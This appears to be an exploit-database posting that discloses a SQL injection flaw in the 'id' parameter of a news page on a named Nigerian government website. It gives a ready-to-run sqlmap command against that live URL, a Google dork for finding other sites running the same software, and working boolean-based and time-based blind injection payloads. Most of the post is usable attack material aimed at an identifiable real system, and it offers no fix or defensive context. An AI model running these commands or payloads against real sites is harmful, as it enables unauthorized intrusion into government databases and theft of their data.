**************************** #Exploit Title: lnrbda - SQL Injection vulnerability #Date: 2026-09-03 #Exploit Author: Mahdi Karimi #Vendor Homepage: http://www.lnrbda.gov.ng #Google Dork: "Powered by lnrbda" #Tested On: Kali Linux sqlmap: python sqlmap -u "http://www.lnrbda.gov.ng/readnews.php?id=1" --level=5 --risk=3 --tamper=space2comment --random-agent --batch Testing Method; - boolean-based blind - time-based blind Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=1' AND 2887=2887 AND 'uBvd'='uBvd Type: time-based blind Title: MySQL > 5.0.12 AND time-based blind (heavy query) Payload: id=1' AND 8231=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1) AND 'wutW'='wutW --- ************************************************** #Discovered by: Mahdi Karimi #Email : [email protected] **************************************************